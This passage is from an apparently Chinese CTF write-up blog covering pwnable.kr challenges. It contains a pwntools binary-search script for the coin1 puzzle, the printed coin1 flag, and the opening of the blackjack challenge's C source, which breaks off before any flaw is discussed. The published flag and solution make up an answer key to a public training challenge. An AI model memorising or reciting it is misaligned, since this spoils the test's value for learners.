  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="coin1">coin1<a class="anchor" href="#coin1">#</a></h3>
<blockquote>
<p>Mommy, I wanna play a game!</p>
<p>ssh <a
  href="mailto:coin1@pwnable.kr"
  >coin1@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">coin1@ubuntu:~$ ls
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">readme
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">coin1@ubuntu:~$ cat readme 
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">nc 0 9007 to get flag!
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">coin1@ubuntu:~$ nc localhost 9007
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">        ---------------------------------------------------
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">        -              Shall we play a game?              -
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">        ---------------------------------------------------
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">        You have given some gold coins in your hand
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">        however, there is one counterfeit coin among them
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">        counterfeit coin looks exactly same as real coin
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">        however, its weight is different from real one
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">        real coin weighs 10, counterfeit coin weighes 9
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">        help me to find the counterfeit coin with a scale
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">        if you find 100 counterfeit coins, you will get reward :)
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">        FYI, you have 60 seconds.
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">        - How to play -
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">        1. you get a number of coins (N) and number of chances (C)
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">        2. then you specify a set of index numbers of coins to be weighed
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">        3. you get the weight information
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">        4. 2~3 repeats C time, then you give the answer
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">        - Example -
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">        [Server] N=4 C=2        # find counterfeit among 4 coins with 2 trial
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">        [Client] 0 1            # weigh first and second coin
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">        [Server] 20                     # scale result : 20
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">        [Client] 3                      # weigh fourth coin
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">        [Server] 10                     # scale result : 10
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">        [Client] 2                      # counterfeit coin is third!
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">        [Server] Correct!
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">        - Ready? starting in 3 sec... -
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">        
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="go">N=73 C=7
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>没有二进制和源码，只有nc连接。称硬币的游戏，好像在哪听过。
n枚硬币中有一枚假币，c次机会，在c次内猜中假币。假币重量是9，真币是10，要找到100个伪币。必须称满C次，第C+1次输入答案。上面给的例子就是这样。如果你1次猜中也不行。感觉像ACM的初级题目。
所以写二分查找的脚本，由于有时间限制，而且大陆访问可能有波动，建议上传脚本到服务器上。tmp目录不可读但可写，所以tmp下新建文件夹就行。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;localhost&#39;</span><span class="p">,</span> <span class="mi">9007</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1"># 接收菜单</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;- Ready? starting in 3 sec... -&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="c1"># 循环一百次</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">line</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;N=&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span> <span class="o">+</span> <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">N</span><span class="p">,</span> <span class="n">C</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s2">&#34;N=(\d+) C=(\d+)&#34;</span><span class="p">,</span> <span class="n">line</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">N</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">N</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">C</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">C</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">N</span><span class="p">,</span><span class="n">C</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">left</span> <span class="p">,</span> <span class="n">right</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">,</span> <span class="n">N</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">right</span> <span class="o">-</span><span class="n">left</span><span class="o">&gt;</span><span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">C</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="n">mid</span> <span class="o">=</span> <span class="p">(</span><span class="n">left</span> <span class="o">+</span> <span class="n">right</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="s1">&#39; &#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">left</span><span class="p">,</span><span class="n">mid</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="n">weight</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="k">if</span> <span class="n">weight</span> <span class="o">%</span> <span class="mi">10</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="n">right</span> <span class="o">=</span> <span class="n">mid</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="n">left</span> <span class="o">=</span> <span class="n">mid</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="n">C</span><span class="o">-=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="c1">#找出了答案，但是次数没满，就消耗掉</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="k">while</span> <span class="n">C</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="n">C</span><span class="o">-=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">left</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>flag: <code>b1naRy_S34rch1Ng_1s_3asy_p3asy</code>
复习了二分法，还有一堆Python语法，python2写这个简洁不少，python3严格区分了字节流，语句各种编码解码，都变长了。</p>
<h3 id="blackjack">blackjack<a class="anchor" href="#blackjack">#</a></h3>
<blockquote>
<p>Hey! check out this C implementation of blackjack game!
I found it online</p>
<ul>
<li><a
  href="http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html" rel="nofollow noopener noreferrer" target="_blank"
  >http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html<span style="user-select:none"> ↗</span></a
>
</li>
</ul>
<p>I like to give my flags to millionares.
how much money you got?</p>
<p>ssh <a
  href="mailto:blackjack@pwnable.kr"
  >blackjack@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>source code：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">  1</span><span class="cl"><span class="c1">// Programmer: Vladislav Shulman
</span></span></span><span class="line"><span class="ln">  2</span><span class="cl"><span class="c1">// Final Project
</span></span></span><span class="line"><span class="ln">  3</span><span class="cl"><span class="c1">// Blackjack
</span></span></span><span class="line"><span class="ln">  4</span><span class="cl"> 
</span></span><span class="line"><span class="ln">  5</span><span class="cl"><span class="c1">// Feel free to use any and all parts of this program and claim it as your own work
</span></span></span><span class="line"><span class="ln">  6</span><span class="cl"> 
</span></span><span class="line"><span class="ln">  7</span><span class="cl"><span class="c1">//FINAL DRAFT
</span></span></span><span class="line"><span class="ln">  8</span><span class="cl"> 
</span></span><span class="line"><span class="ln">  9</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 10</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 11</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;math.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 12</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 13</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;time.h&gt;                //Used for srand((unsigned) time(NULL)) command</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 14</span><span class="cl"> 
</span></span><span class="line"><span class="ln"> 15</span><span class="cl"><span class="cp">#define spade &#39;S&#39;                 </span><span class="c1">//Used to print spade symbol
</span></span></span><span class="line"><span class="ln"> 16</span><span class="cl"><span class="cp">#define club &#39;C&#39;                  </span><span class="c1">//Used to print club symbol
</span></span></span><span class="line"><span class="ln"> 17</span><span class="cl"><span class="cp">#define diamond &#39;D&#39;               </span><span class="c1">//Used to print diamond symbol
</span></span></span><span class="line"><span class="ln"> 18</span><span class="cl"><span class="cp">#define heart &#39;H&#39;                 </span><span class="c1">//Used to print heart symbol
</span></span></span><span class="line"><span class="ln"> 19</span><span class="cl"><span class="cp">#define RESULTS &#34;Blackjack.txt&#34;  </span><span class="c1">//File name is Blackjack
</span></span></span><span class="line"><span class="ln"> 20</span><span class="cl"> 
</span></span><span class="line"><span class="ln"> 21</span><span class="cl"><span class="c1">//Global Variables
</span></span></span><span class="line"><span class="ln"> 22</span><span class="cl"><span class="kt">int</span> <span class="n">k</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 23</span><span class="cl"><span class="kt">int</span> <span class="n">l</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 24</span><span class="cl"><span class="kt">int</span> <span class="n">d</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 25</span><span class="cl"><span class="kt">int</span> <span class="n">won</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 26</span><span class="cl"><span class="kt">int</span> <span class="n">loss</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 27</span><span class="cl"><span class="kt">int</span> <span class="n">cash</span> <span class="o">=</span> <span class="mi">500</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 28</span><span class="cl"><span class="kt">int</span> <span class="n">bet</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 29</span><span class="cl"><span class="kt">int</span> <span class="n">random_card</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 30</span><span class="cl"><span class="kt">int</span> <span class="n">player_total</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 31</span><span class="cl"><span class="kt">int</span> <span class="n">dealer_total</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 32</span><span class="cl"> 
</span></span><span class="line"><span class="ln"> 33</span><span class="cl"><span class="c1">//Function Prototypes
</span></span></span><span class="line"><span class="ln"> 34</span><span class="cl"><span class="kt">int</span> <span class="nf">clubcard</span><span class="p">();</span>      <span class="c1">//Displays Club Card Image
</span></span></span><span class="line"><span class="ln"> 35</span><span class="cl"><span class="kt">int</span> <span class="nf">diamondcard</span><span class="p">();</span>   <span class="c1">//Displays Diamond Card Image
</span></span></span><span class="line"><span class="ln"> 36</span><span class="cl"><span class="kt">int</span> <span class="nf">heartcard</span><span class="p">();</span>     <span class="c1">//Displays Heart Card Image
</span></span></span><span class="line"><span class="ln"> 37</span><span class="cl"><span class="kt">int</span> <span class="nf">spadecard</span><span class="p">();</span>     <span class="c1">//Displays Spade Card Image
</span></span></span><span class="line"><span class="ln"> 38</span><span class="cl"><span class="kt">int</span> <span class="nf">randcard</span><span class="p">();</span>      <span class="c1">//Generates random card
</span></span></span><span class="line"><span class="ln"> 39</span><span class="cl"><span class="kt">int</span> <span class="nf">betting</span><span class="p">();</span>       <span class="c1">//Asks user amount to bet
</span></span></span><span class="line"><span class="ln"> 40</span><span class="cl"><span class="kt">void</span> <span class="nf">asktitle</span><span class="p">();</span>     <span class="c1">//Asks user to continue
</span></span></span><span class="line"><span class="ln"> 41</span><span class="cl"><span class="kt">void</span> <span class="nf">rules</span><span class="p">();</span>        <span class="c1">//Prints &#34;Rules of Vlad&#39;s Blackjack&#34; menu
</span></span></span><span class="line"><span class="ln"> 42</span><span class="cl"><span class="kt">void</span> <span class="nf">play</span><span class="p">();</span>         <span class="c1">//Plays game
</span></span></span><span class="line"><span class="ln"> 43</span><span class="cl"><span class="kt">void</span> <span class="nf">dealer</span><span class="p">();</span>       <span class="c1">//Function to play for dealer AI
</span></span></span><span class="line"><span class="ln"> 44</span><span class="cl"><span class="kt">void</span> <span class="nf">stay</span><span class="p">();</span>         <span class="c1">//Function for when user selects &#39;Stay&#39;
</span></span></span><span class="line"><span class="ln"> 45</span><span class="cl"><span class="kt">void</span> <span class="nf">cash_test</span><span class="p">();</span>    <span class="c1">//Test for if user has cash remaining in purse
</span></span></span><span class="line"><span class="ln"> 46</span><span class="cl"><span class="kt">void</span> <span class="nf">askover</span><span class="p">();</span>      <span class="c1">//Asks if user wants to continue playing
</span></span></span><span class="line"><span class="ln"> 47</span><span class="cl"><span class="kt">void</span> <span class="nf">fileresults</span><span class="p">();</span>  <span class="c1">//Prints results into Blackjack.txt file in program directory
</span></span></span><span class="line"><span class="ln"> 48</span><span class="cl"> 
</span></span><span class="line"><span class="ln"> 49</span><span class="cl"><span class="c1">//Main Function
</span></span></span><span class="line"><span class="ln"> 50</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 51</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 52</span><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 53</span><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">_IOLBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 54</span><span class="cl">
</span></span><span class="line"><span class="ln"> 55</span><span class="cl">    <span class="kt">int</span> <span class="n">choice1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 56</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 57</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 58</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 59</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">              222                111                            &#34;</span><span class="p">);</span>
